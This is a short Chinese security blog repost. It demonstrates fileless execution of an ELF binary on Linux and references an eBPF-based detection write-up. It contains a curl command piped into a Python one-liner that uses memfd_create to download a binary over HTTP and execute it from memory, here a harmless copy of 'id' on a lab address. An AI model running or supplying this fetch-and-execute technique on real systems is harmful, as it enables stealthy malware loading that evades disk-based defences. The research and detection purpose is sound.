作者: Pat H
创建: 2021-02-15
参看
Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html
作者给了一个完整示例,从内存中直接加载执行ELF。bluerust推荐过memfd_create,但我现在很少用C编程,未实践过。Pat H给了Python版示例,演示效果极佳。
假设WEB服务在此
cp /usr/bin/id .
python3 -m http.server -b 192.168.65.25 8080
在客户端验证WEB服务正常
curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1
在客户端确认memfd_create系统调用号是319
$ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h
#define __NR_memfd_create 319
在客户端用curl远程拉id回来,不写硬盘,直接执行
curl -s http://192.168.65.25:8080/id | python3 -c '
import sys, os, ctypes
libc = ctypes.CDLL( "libc.so.6" )
memfd_create = 319
fd = libc.syscall( memfd_create, "", 0 )
data = sys.stdin.buffer.read()
os.write( fd, data )
path = f"/proc/self/fd/{fd}"
os.execv( path, [path,] )
'
参看
BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop
Pat H用eBPF实现对shell管道操作的监控,这是个C项目,应该可以改写成BCC项目。
原文始发于微信公众号(青衣十三楼飞花堂):从内存中直接加载执行ELF
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论